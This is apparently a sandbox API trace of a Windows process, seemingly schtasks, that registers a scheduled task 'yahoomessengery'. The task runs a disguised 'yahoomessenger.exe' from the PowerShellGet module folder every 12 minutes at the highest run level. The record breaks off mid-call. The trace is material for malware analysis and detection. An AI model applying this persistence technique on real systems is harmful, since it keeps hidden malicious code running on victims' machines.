GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x11c5c0, cchData=128 | out: lpLCData="0") returned 2 [0067.187] _memicmp (_Buf1=0x18bc90, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.187] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x18d4a0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0067.187] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0067.187] GetProcessHeap () returned 0x170000 [0067.187] GetProcessHeap () returned 0x170000 [0067.187] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18d7c0) returned 1 [0067.187] GetProcessHeap () returned 0x170000 [0067.187] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18d7c0) returned 0xe [0067.187] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18d7c0 | out: hHeap=0x170000) returned 1 [0067.187] GetProcessHeap () returned 0x170000 [0067.187] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x16) returned 0x18d7c0 [0067.187] GetLocalTime (in: lpSystemTime=0x11c7f0 | out: lpSystemTime=0x11c7f0*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x10, wSecond=0x33, wMilliseconds=0x2e1)) [0067.187] lstrlenW (lpString="") returned 0 [0067.188] GetLocalTime (in: lpSystemTime=0x11d0a8 | out: lpSystemTime=0x11d0a8*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x10, wSecond=0x33, wMilliseconds=0x2e1)) [0067.188] lstrlenW (lpString="") returned 0 [0067.188] lstrlenW (lpString="") returned 0 [0067.188] lstrlenW (lpString="") returned 0 [0067.188] lstrlenW (lpString="") returned 0 [0067.188] lstrlenW (lpString="12") returned 2 [0067.188] _wtol (_String="12") returned 12 [0067.188] lstrlenW (lpString="") returned 0 [0067.188] lstrlenW (lpString="") returned 0 [0067.188] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0067.251] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0067.394] CoCreateInstance (in: rclsid=0xffd71ae0*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0xffd71ad0*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x11ce70 | out: ppv=0x11ce70*=0x2edee0) returned 0x0 [0067.403] TaskScheduler:ITaskService:Connect (This=0x2edee0, serverName=0x11cf50*(varType=0x8, wReserved1=0x11, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0x11cf10*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x32524553524150), domain=0x11cf30*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x11cef0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc0, varVal2=0x100000001)) returned 0x0 [0067.436] TaskScheduler:IUnknown:AddRef (This=0x2edee0) returned 0x2 [0067.436] TaskScheduler:ITaskService:GetFolder (in: This=0x2edee0, Path=0x0, ppFolder=0x11d008 | out: ppFolder=0x11d008*=0x455ae0) returned 0x0 [0067.440] TaskScheduler:ITaskService:NewTask (in: This=0x2edee0, flags=0x0, ppDefinition=0x11d000 | out: ppDefinition=0x11d000*=0x456580) returned 0x0 [0067.440] ITaskDefinition:get_Actions (in: This=0x456580, ppActions=0x11cf80 | out: ppActions=0x11cf80*=0x456640) returned 0x0 [0067.440] IActionCollection:Create (in: This=0x456640, Type=0, ppAction=0x11cfa0 | out: ppAction=0x11cfa0*=0x456a10) returned 0x0 [0067.441] lstrlenW (lpString="'C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\en-US\\yahoomessenger.exe'") returned 97 [0067.441] lstrlenW (lpString="'C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\en-US\\yahoomessenger.exe'") returned 97 [0067.441] lstrlenW (lpString=" ") returned 1 [0067.441] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0067.441] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0067.441] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0067.441] StrChrW (lpStart=" ", wMatch=0x3a) returned 0x0 [0067.441] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0067.441] StrChrW (lpStart=" ", wMatch=0x50) returned 0x0 [0067.441] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0067.441] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0067.441] StrChrW (lpStart=" ", wMatch=0x67) returned 0x0 [0067.441] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0067.441] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0067.441] StrChrW (lpStart=" ", wMatch=0x6d) returned 0x0 [0067.441] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0067.441] StrChrW (lpStart=" ", wMatch=0x46) returned 0x0 [0067.441] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0067.441] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0067.441] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0067.441] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0067.441] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0067.441] StrChrW (lpStart=" ", wMatch=0x28) returned 0x0 [0067.441] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0067.441] StrChrW (lpStart=" ", wMatch=0x38) returned 0x0 [0067.441] StrChrW (lpStart=" ", wMatch=0x36) returned 0x0 [0067.441] StrChrW (lpStart=" ", wMatch=0x29) returned 0x0 [0067.441] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0067.441] StrChrW (lpStart=" ", wMatch=0x57) returned 0x0 [0067.441] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0067.442] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0067.442] StrChrW (lpStart=" ", wMatch=0x64) returned 0x0 [0067.442] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0067.442] StrChrW (lpStart=" ", wMatch=0x77) returned 0x0 [0067.442] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0067.442] StrChrW (lpStart=" ", wMatch=0x50) returned 0x0 [0067.442] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0067.442] StrChrW (lpStart=" ", wMatch=0x77) returned 0x0 [0067.442] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0067.442] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0067.442] StrChrW (lpStart=" ", wMatch=0x53) returned 0x0 [0067.442] StrChrW (lpStart=" ", wMatch=0x68) returned 0x0 [0067.442] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0067.442] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0067.442] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0067.442] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0067.442] StrChrW (lpStart=" ", wMatch=0x4d) returned 0x0 [0067.442] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0067.442] StrChrW (lpStart=" ", wMatch=0x64) returned 0x0 [0067.442] StrChrW (lpStart=" ", wMatch=0x75) returned 0x0 [0067.442] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0067.442] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0067.442] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0067.442] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0067.442] StrChrW (lpStart=" ", wMatch=0x50) returned 0x0 [0067.442] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0067.442] StrChrW (lpStart=" ", wMatch=0x77) returned 0x0 [0067.442] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0067.442] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0067.442] StrChrW (lpStart=" ", wMatch=0x53) returned 0x0 [0067.442] StrChrW (lpStart=" ", wMatch=0x68) returned 0x0 [0067.442] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0067.442] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0067.443] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0067.443] StrChrW (lpStart=" ", wMatch=0x47) returned 0x0 [0067.443] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0067.443] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0067.443] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0067.443] StrChrW (lpStart=" ", wMatch=0x31) returned 0x0 [0067.443] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0067.443] StrChrW (lpStart=" ", wMatch=0x30) returned 0x0 [0067.443] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0067.443] StrChrW (lpStart=" ", wMatch=0x30) returned 0x0 [0067.443] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0067.443] StrChrW (lpStart=" ", wMatch=0x31) returned 0x0 [0067.443] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0067.443] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0067.443] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0067.443] StrChrW (lpStart=" ", wMatch=0x2d) returned 0x0 [0067.443] StrChrW (lpStart=" ", wMatch=0x55) returned 0x0 [0067.443] StrChrW (lpStart=" ", wMatch=0x53) returned 0x0 [0067.443] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0067.443] StrChrW (lpStart=" ", wMatch=0x79) returned 0x0 [0067.443] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0067.443] StrChrW (lpStart=" ", wMatch=0x68) returned 0x0 [0067.443] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0067.443] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0067.443] StrChrW (lpStart=" ", wMatch=0x6d) returned 0x0 [0067.443] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0067.443] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0067.443] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0067.443] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0067.443] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0067.443] StrChrW (lpStart=" ", wMatch=0x67) returned 0x0 [0067.443] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0067.443] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0067.443] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0067.444] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0067.444] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0067.444] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0067.444] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0067.444] IUnknown:Release (This=0x456a10) returned 0x1 [0067.444] IUnknown:Release (This=0x456640) returned 0x1 [0067.444] ITaskDefinition:get_Triggers (in: This=0x456580, ppTriggers=0x11cb00 | out: ppTriggers=0x11cb00*=0x456780) returned 0x0 [0067.444] ITriggerCollection:Create (in: This=0x456780, Type=1, ppTrigger=0x11caf8 | out: ppTrigger=0x11caf8*=0x456a80) returned 0x0 [0067.444] lstrlenW (lpString="12") returned 2 [0067.444] _vsnwprintf (in: _Buffer=0x11ca80, _BufferCount=0xf, _Format="PT%sM", _ArgList=0x11ca78 | out: _Buffer="PT12M") returned 5 [0067.444] ITrigger:get_Repetition (in: This=0x456a80, ppRepeat=0x11caf0 | out: ppRepeat=0x11caf0*=0x456b10) returned 0x0 [0067.444] IRepetitionPattern:put_Interval (This=0x456b10, Interval="PT12M") returned 0x0 [0067.444] IUnknown:Release (This=0x456b10) returned 0x1 [0067.444] _vsnwprintf (in: _Buffer=0x11ca40, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0x11ca18 | out: _Buffer="2023-09-19T17:16:00") returned 19 [0067.445] ITrigger:put_StartBoundary (This=0x456a80, StartBoundary="2023-09-19T17:16:00") returned 0x0 [0067.445] lstrlenW (lpString="") returned 0 [0067.445] lstrlenW (lpString="") returned 0 [0067.445] lstrlenW (lpString="") returned 0 [0067.445] lstrlenW (lpString="") returned 0 [0067.445] IUnknown:Release (This=0x456a80) returned 0x1 [0067.445] IUnknown:Release (This=0x456780) returned 0x1 [0067.445] ITaskDefinition:get_Settings (in: This=0x456580, ppSettings=0x11cfa0 | out: ppSettings=0x11cfa0*=0x4567f0) returned 0x0 [0067.445] lstrlenW (lpString="") returned 0 [0067.445] IUnknown:Release (This=0x4567f0) returned 0x1 [0067.445] GetLocalTime (in: lpSystemTime=0x11ce58 | out: lpSystemTime=0x11ce58*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x10, wSecond=0x33, wMilliseconds=0x3db)) [0067.445] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7feffcb0000 [0067.445] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetUserNameW") returned 0x7feffcc1fd0 [0067.446] GetUserNameW (in: lpBuffer=0x11ce80, pcbBuffer=0x11ce68 | out: lpBuffer="kEecfMwgj", pcbBuffer=0x11ce68) returned 1 [0067.446] ITaskDefinition:get_RegistrationInfo (in: This=0x456580, ppRegistrationInfo=0x11ce50 | out: ppRegistrationInfo=0x11ce50*=0x4566c0) returned 0x0 [0067.446] IRegistrationInfo:put_Author (This=0x4566c0, Author="") returned 0x0 [0067.446] _vsnwprintf (in: _Buffer=0x11ce80, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0x11ce18 | out: _Buffer="2023-09-19T17:16:51") returned 19 [0067.446] IRegistrationInfo:put_Date (This=0x4566c0, Date="") returned 0x0 [0067.446] IUnknown:Release (This=0x4566c0) returned 0x1 [0067.446] malloc (_Size=0x18) returned 0x456b90 [0067.447] free (_Block=0x456b90) [0067.447] lstrlenW (lpString="") returned 0 [0067.447] ITaskDefinition:get_Principal (in: This=0x456580, ppPrincipal=0x11d070 | out: ppPrincipal=0x11d070*=0x456960) returned 0x0 [0067.447] IPrincipal:put_RunLevel (This=0x456960, RunLevel=1) returned 0x0 [0067.447] IUnknown:Release (This=0x456960) returned 0x1 [0067.447] malloc (_Size=0x18) returned 0x456b90 [0067.447] ITaskFolder:RegisterTaskDefinition (in: This=0x455ae0, Path="yahoomessengery", pDefinition=0x456580, flags=6, UserId=0x11d0f0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x11d130*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x11f000, varVal2=0xfe), LogonType=3, sddl=0x11d110*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0x11d010 | out: ppTask=0x11d010*=0x456d40) returned 0x0 [0067.537] free (_Block=0x456b90) [0067.537] _memicmp (_Buf1=0x18bc90, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.537] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x18d4a0, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0067.537] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0067.537] GetProcessHeap () returned 0x170000 [0067.537] GetProcessHeap () returned 0x170000 [0067.537] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18d7e0) returned 1 [0067.537] GetProcessHeap () returned 0x170000 [0067.537] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18d7e0) returned 0xc [0067.538] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18d7e0 | out: hHeap=0x170000) returned 1 [0067.538] GetProcessHeap () returned 0x170000 [0067.538] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x82) returned 0x1aadf0 [0067.538] _vsnwprintf (in: _Buffer=0x11d750, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0x11cfb8 | out: _Buffer="SUCCESS: The scheduled task \"yahoomessengery\" has successfully been created.\n") returned 77 [0067.538] _fileno (_File=0x7feffe22ab0) returned -2 [0067.538] _errno () returned 0x454bb0 [0067.538] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0067.538] SetLastError (dwErrCode=0x6) [0067.538] lstrlenW (lpString="SUCCESS: The scheduled task \"yahoomessengery\" has successfully been created.\n") returned 77 [0067.538] GetConsoleOutputCP () returned 0x0 [0067.538] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"yahoomessengery\" has successfully been created.\n", cchWideChar=77, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 77 [0067.538] GetConsoleOutputCP () returned 0x0 [0067.538] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"yahoomessengery\" has successfully been created.\n", cchWideChar=77, lpMultiByteStr=0xffdb1880, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"yahoomessengery\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 77 [0067.538] fprintf (in: _File=0x7feffe22ab0, _Format="%s" | out: _File=0x7feffe22ab0) returned 77 [0067.538] fflush (in: _File=0x7feffe22ab0 | out: _File=0x7feffe22ab0) returned -1 [0067.539] IUnknown:Release (This=0x456d40) returned 0x0 [0067.539] TaskScheduler:IUnknown:Release (This=0x456580) returned 0x0 [0067.539] TaskScheduler:IUnknown:Release (This=0x455ae0) returned 0x0 [0067.539] TaskScheduler:IUnknown:Release (This=0x2edee0) returned 0x1 [0067.539] lstrlenW (lpString="") returned 0 [0067.539] lstrlenW (lpString="12") returned 2 [0067.539] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="12", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0067.539] GetProcessHeap () returned 0x170000 [0067.539] GetProcessHeap () returned 0x170000 [0067.539] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18c6f0) returned 1 [0067.539] GetProcessHeap () returned 0x170000 [0067.539] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18c6f0) returned 0x1fc [0067.539] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c6f0 | out: hHeap=0x170000) returned 1 [0067.540] GetProcessHeap () returned 0x170000 [0067.540] GetProcessHeap () returned 0x170000 [0067.540] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x1855f0) returned 1 [0067.540] GetProcessHeap () returned 0x170000 [0067.540] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x1855f0) returned 0x6 [0067.540] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x1855f0 | out: hHeap=0x170000) returned 1 [0067.540] GetProcessHeap () returned 0x170000 [0067.540] GetProcessHeap () returned 0x170000 [0067.540] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18d700) returned 1 [0067.540] GetProcessHeap () returned 0x170000 [0067.540] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18d700) returned 0x16 [0067.540] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18d700 | out: hHeap=0x170000) returned 1 [0067.540] GetProcessHeap () returned 0x170000 [0067.540] GetProcessHeap () returned 0x170000 [0067.540] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18d6e0) returned 1 [0067.540] GetProcessHeap () returned 0x170000 [0067.540] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18d6e0) returned 0x18 [0067.540] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18d6e0 | out: hHeap=0x170000) returned 1 [0067.540] GetProcessHeap () returned 0x170000 [0067.540] GetProcessHeap () returned 0x170000 [0067.540] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18d000) returned 1 [0067.540] GetProcessHeap () returned 0x170000 [0067.540] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18d000) returned 0x20 [0067.541] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18d000 | out: hHeap=0x170000) returned 1 [0067.541] GetProcessHeap () returned 0x170000 [0067.541] GetProcessHeap () returned 0x170000 [0067.541] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18c1f0) returned 1 [0067.541] GetProcessHeap () returned 0x170000 [0067.541] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18c1f0) returned 0xa0 [0067.542] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c1f0 | out: hHeap=0x170000) returned 1 [0067.542] GetProcessHeap () returned 0x170000 [0067.542] GetProcessHeap () returned 0x170000 [0067.542] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18bc70) returned 1 [0067.542] GetProcessHeap () returned 0x170000 [0067.542] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18bc70) returned 0x18 [0067.542] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18bc70 | out: hHeap=0x170000) returned 1 [0067.542] GetProcessHeap () returned 0x170000 [0067.542] GetProcessHeap () returned 0x170000 [0067.542] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18cd30) returned 1 [0067.542] GetProcessHeap () returned 0x170000 [0067.542] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18cd30) returned 0x20 [0067.542] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18cd30 | out: hHeap=0x170000) returned 1 [0067.542] GetProcessHeap () returned 0x170000 [0067.542] GetProcessHeap () returned 0x170000 [0067.542] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18c620) returned 1 [0067.542] GetProcessHeap () returned 0x170000 [0067.542] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18c620) returned 0xc4 [0067.543] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c620 | out: hHeap=0x170000) returned 1 [0067.543] GetProcessHeap () returned 0x170000 [0067.543] GetProcessHeap () returned 0x170000 [0067.543] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18d720) returned 1 [0067.543] GetProcessHeap () returned 0x170000 [0067.543] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18d720) returned 0x18 [0067.543] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18d720 | out: hHeap=0x170000) returned 1 [0067.543] GetProcessHeap () returned 0x170000 [0067.543] GetProcessHeap () returned 0x170000 [0067.543] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18cd00) returned 1 [0067.543] GetProcessHeap () returned 0x170000 [0067.543] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18cd00) returned 0x20 [0067.543] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18cd00 | out: hHeap=0x170000) returned 1 [0067.543] GetProcessHeap () returned 0x170000 [0067.544] GetProcessHeap () returned 0x170000 [0067.544] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18c550) returned 1 [0067.544] GetProcessHeap () returned 0x170000 [0067.544] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18c550) returned 0xc6 [0067.544] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c550 | out: hHeap=0x170000) returned 1 [0067.544] GetProcessHeap () returned 0x170000 [0067.544] GetProcessHeap () returned 0x170000 [0067.544] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18c530) returned 1 [0067.544] GetProcessHeap () returned 0x170000 [0067.544] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18c530) returned 0x18 [0067.544] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c530 | out: hHeap=0x170000) returned 1 [0067.544] GetProcessHeap () returned 0x170000 [0067.544] GetProcessHeap () returned 0x170000 [0067.544] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18ccd0) returned 1 [0067.544] GetProcessHeap () returned 0x170000 [0067.544] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18ccd0) returned 0x20 [0067.545] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18ccd0 | out: hHeap=0x170000) returned 1 [0067.545] GetProcessHeap () returned 0x170000 [0067.545] GetProcessHeap () returned 0x170000 [0067.545] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18c510) returned 1 [0067.545] GetProcessHeap () returned 0x170000 [0067.545] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18c510) returned 0xe [0067.545] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c510 | out: hHeap=0x170000) returned 1 [0067.545] GetProcessHeap () returned 0x170000 [0067.545] GetProcessHeap () returned 0x170000 [0067.545] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18c4f0) returned 1 [0067.545] GetProcessHeap () returned 0x170000 [0067.545] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18c4f0) returned 0x18 [0067.545] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c4f0 | out: hHeap=0x170000) returned 1 [0067.545] GetProcessHeap () returned 0x170000 [0067.545] GetProcessHeap () returned 0x170000 [0067.545] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x185f00) returned 1 [0067.545] GetProcessHeap () returned 0x170000 [0067.545] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x185f00) returned 0x20 [0067.546] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x185f00 | out: hHeap=0x170000) returned 1 [0067.546] GetProcessHeap () returned 0x170000 [0067.546] GetProcessHeap () returned 0x170000 [0067.546] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18bdf0) returned 1 [0067.546] GetProcessHeap () returned 0x170000 [0067.546] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18bdf0) returned 0x208 [0067.546] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18bdf0 | out: hHeap=0x170000) returned 1 [0067.546] GetProcessHeap () returned 0x170000 [0067.546] GetProcessHeap () returned 0x170000 [0067.546] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18bc50) returned 1 [0067.546] GetProcessHeap () returned 0x170000 [0067.547] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18bc50) returned 0x18 [0067.547] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18bc50 | out: hHeap=0x170000) returned 1 [0067.547] GetProcessHeap () returned 0x170000 [0067.547] GetProcessHeap () returned 0x170000 [0067.547] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x185e10) returned 1 [0067.547] GetProcessHeap () returned 0x170000 [0067.547] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x185e10) returned 0x20 [0067.547] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x185e10 | out: hHeap=0x170000) returned 1 [0067.547] GetProcessHeap () returned 0x170000 [0067.547] GetProcessHeap () returned 0x170000 [0067.547] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18d4a0) returned 1 [0067.547] GetProcessHeap () returned 0x170000 [0067.547] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18d4a0) returned 0x200 [0067.547] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18d4a0 | out: hHeap=0x170000) returned 1 [0067.547] GetProcessHeap () returned 0x170000 [0067.547] GetProcessHeap () returned 0x170000 [0067.547] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18bc90) returned 1 [0067.547] GetProcessHeap () returned 0x170000 [0067.548] RtlSizeHeap (HeapHandle=0x170000, 